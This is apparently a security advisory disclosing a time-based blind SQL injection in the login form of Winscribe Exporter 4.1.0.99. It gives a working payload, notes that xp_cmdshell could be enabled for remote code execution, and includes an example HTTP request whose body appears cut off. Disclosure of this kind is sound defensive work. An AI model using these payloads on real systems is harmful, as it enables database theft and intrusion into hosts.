There's an SQL injection vulnerability in Winscribe Exporter version 4.1.0.99

The login page accepts a username and password field and submits a POST request which is vulnerable to SQL injection.

You can inject time-based SQL queries to ask true/false questions about the database, and use this to extract information based on the time that it takes for the web server to respond to your request.

For example, if you inject the following into the txtPassword parameter in the login POST request:

';IF(LEN(DB_NAME()))>1+WAITFOR+DELAY+'00%3a00%3a1'--

If the database name is greater than 1 characters long, there will be a delay (2 seconds in my case).

Variations of this query can be used to ask the database any true/false question and therefore extract any information from the database.

Additionally, because this is a stacked query, you can also enable xp_cmdshell on windows hosts if it is both available on the host and the MSSQL user running the database has system administrator (sa) privileges, in that case this vulnerability would allow you to get remote code execution.

I've included an HTTP request which illustrates a time-based query, with a redacted hostname.

You'll need to replace the hostname (REDACTEDHOST) appropriately. You'll probably also need to replace other parameters in the request

Example request:

```
POST /exporter/Login.aspx?Referrer=%2fexporter%2fDefault.aspx HTTP/1.1
Host: REDACTEDHOST
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://REDACTEDHOST/exporter/Login.aspx?Referrer=%2fexporter%2fDefault.aspx
Content-Type: application/x-www-form-urlencoded
Content-Length: 765
Connection: close
Cookie: ASP.NET_SessionId=yigsw2mcvogujwh5wcnalg2
Upgrade-Insecure-Requests: 1

__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMjAzOTYwOTcwNA9kFgQCAQ9kFgICAQ8PFgIeBFRleHQFBCA0LjJkZAIFD2QWDAIBDw8WAh8ABQVMb2dpbmRkAgMPDxYCHwAFB1VzZXIgSWRkZAIJDw8WAh8ABQhQYXNzd29yZGRkAg8PDxYCHwAFBUxvZ2luZGQCEQ8QDxYCHw
-&btnLogin=Login
```